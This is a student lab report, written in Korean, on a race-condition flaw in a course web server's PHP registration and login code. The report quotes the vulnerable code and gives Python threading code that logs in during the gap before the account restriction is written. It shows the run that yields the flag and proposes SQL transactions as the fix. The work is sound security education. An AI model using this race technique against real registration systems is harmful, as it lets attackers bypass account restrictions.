CSED415 Lab 04: Concurrency Report

20230499 / 김재환 / Kim Jaehwan

1. Overview

이번 랩에서는 과제 환경에서 운영되고 있는 웹 서버에서 제한되지 않은 계정으로 로그인하는 것이 목표이다.

2. 웹 서버 분석

웹 서버 AArt는 유저 회원가입 및 로그인, 아스키아트 업로드 기능을 제공한다. 해당 웹사이트에서 어떻게 플래그를 얻을 수 있는지 먼저 분석해보자. README에 적혀있듯이 register.php와 login.php를 보면 다음 코드를 볼 수 있다.

```
<?php
if(isset($_POST['username'])){
  $username = mysqli_real_escape_string($conn, $_POST['username']);
  $password = mysqli_real_escape_string($conn, $_POST['password']);
  $sql = "INSERT into users (username, password) values ('$username', '$password');";
  mysqli_query($conn, $sql);
  $sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'),
1);";
  mysqli_query($conn, $sql);
?>
       <h2>SUCCESS!</h2>
<?php
}
```

```
if(isset($_POST['username'])){
  $username = mysqli_real_escape_string($conn, $_POST['username']);
  $sql = "SELECT * from users where username='$username';";
  $result = mysqli_query($conn, $sql);
  $row = $result->fetch_assoc();
  if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){
?>
       <h1>Logged in as <?php echo($username);?></h1>
<?php
    $uid = $row['id'];
    $sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=1;";
    $result = mysqli_query($conn, $sql);
    $row = $result->fetch_assoc();
    if($row['isRestricted']){
?>
       <h2>This is a restricted account</h2>
<?php
    }else{
?>
       <h2>Here is your flag:</h2>
<?php
     readfile("/proc/flag");
    }
?>
       <h2>SUCCESS!</h2>
<?php
```

register.php에서는 유저가 보낸 username과 password를 users 테이블에 저장하고 곧바로 해당 유저의 id를

privs 테이블에 저장한다. login.php에서는 유저가 보낸 username과 password를 보고, 해당 유저가 privs 테이블에 속해있다면 제한된 계정이라고 출력한다. privs 테이블에 없다면 플래그를 출력하는 것을 알 수 있다.

3. exploit

해당 php 파일은 mysqli_real_escape_string 함수를 사용하고 있어 sql 인젝션 등을 막아두었다. 그러나 유저가 회원 가입할 때 유저 정보를 users 테이블에 넣은 뒤 privs 테이블에 넣으므로 그 사이의 틈을 이용할 수 있을 것으로 보인다. 이는 threading 기능을 이용하여 구현하였다. 코드는 다음과 같다.

```
def exploit(delay):
    username = generate_username()
    reg_thread = threading.Thread(target=register, args=(username,))
    log_thread = threading.Thread(target=login, args=(username,))
    reg_thread.start()
    time.sleep(delay)
    log_thread.start()
    log_thread.join()
    reg_thread.join()
```

해당 웹 서버는 두개의 포트를 통해 열려 있으므로 하나로는 register, 다른 하나로는 login 페이지로 접근한다. register 페이지에서 회원 가입함과 거의 동시에 로그인을 시도하여, users 테이블에 정보가 등록되었으면서 privs 테이블에는 아직 등록되지 않은 그 찰나의 때를 노릴 것이다. username을 겹치지 않도록 랜덤한 문자열을 만들었다.

```
    while True:
        for attempt in range(5):
            exploit(0.000001*attempt)
            if login_success:
                break
            time.sleep(0.1)
        if login_success:
            break
```

delay 값은 경험적으로 알아낸 0.000001초 부근을 탐색하도록 하였다.

4. fix

이 취약점을 해결하기 위해서는 sql에서 제공하는 트랜잭션을 사용해야 한다. 트랜잭션은 원자성을 제공하므로 트랜잭션으로 묶여있는 여러 명령어가 모두 실행되거나 실행되지 않는다. php에서는 AUTO_COMMIT 기능을 비활성화하여 명령어 하나마다 커밋됨을 비활성화하고, users 테이블과 privs 테이블의 등록이 끝난 후 한 번에 커밋하여 그 사이 공백을 제거할 수 있다.

5. Result

exploit.py 실행을 통해 성공적으로 키와 플래그를 얻었다.

```
csed415-lab05@csed415:/tmp/whatthehackv2$ python3 ee.py
[-] failed
[-] failed
[*] restricted
[*] restricted
[*] restricted
[*] restricted
[*] restricted
[*] restricted
[-] failed
[+] flag
<!doctype html>
<!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
<!--[if IE 7 ]>    <html lang="en" class="no-js ie7"> <![endif]-->
<!--[if IE 8 ]>    <html lang="en" class="no-js ie8"> <![endif]-->
<!--[if IE 9 ]>    <html lang="en" class="no-js ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"><!--<![endif]-->
<head>
       <title>AArt - Your home for ASCII Art</title>
                                                                    [...]
</head>
<body>
                                                                    [...]
          <h1>Login</h1>
       </div>
       <h1>Logged in as
 cl1qd0jgyrh50ak9zjma0zm55fayzb9wgbo76k9to4a58jurmskr1to058etvzgxbj6z2uop7b44gcatdrzqpdhyufgyve70wscamuh9mmxkqewa84j1cjnc7vnu2bt3</h1>
     <h2>Here is your flag:</h2>
944583A6CFFB89C892AEABE82B57E278ACFF7B50A07B8EC942A9826887A24D1B
BBFA294EE0C35B4DEC881ED9B2AD2D4F988606F2BC934B4BFEF450EEE8C19C61
C4C115E033A0F848B5688BA3F2308B0958A66067243235C5D387B2681E75A9FA
5888CC47F2E931C29E4FDAD1A6F3CA4BCBE3B4775F90AF7A7C3C317AE01D1EC3
032088736F88EEC46E5631B0A04AD09C8E86F521CC61511E47AB9B9D38B77961
B37503C7A6ED77CB9BA46451AE7D88502A16C767BAA8E3E0D6239771739C801F
16B9D23B1E48919FEEDCA1EC0F6F1F75066703C4FB88C16E2F0B9704FD866B62
BBD8BDBE50E8012461C2A13296FA3291BC4EEBE3E029BC66D90C295F0BE71558
90FE8DCAB9E91BCE6AF4FCEC9B576555231E75EEEE074042D63366F1066CD6CF
2BA830D0309652D47F96B20C03D6C0B463DE38C52A595ECCC38A6A7810569F55
2CDC258845D63E1CD37DD448CE74E80B6074D1D3FC7416D2C3283FEB20315CD1
3464864A5BE675E8BB750DFC1BBFD97DA80B721106A1E0BFBA92B668FB512E48
3A7681D0AD2777FC94C0718E24D5403C4DD089FFEDDC07C06F44F4B46CF4A626
BD0F21A412F0118A084425D81365D2048ACB7A8886A44FF705099D6AA6149855
A7E992AC22BF409E280CC3388773F807759923C2078913EEE86A97E166304C92
3A78395A54418180C6517731BC451ED1C412DEE64744C0535BBF5E03D1B4A0B9
       <h2>SUCCESS!</h2>
   </div>
       </div>
<!--
   -     <link rel="stylesheet" type="text/css" href="bower_components/gridforms/gridforms/gridforms.css">
   -
   -     <script src="bower_components/jquery/dist/jquery.js"></script>
   -     <script src="bower_components/snapjs/snap.js"></script>
   -     <script src="bower_components/responsive-elements/responsive-elements.js"></script>
   -     <script src="bower_components/gridforms/gridforms/gridforms.js"></script>
   -->
       <script src="js/base.js"></script>
</body>
</html>
```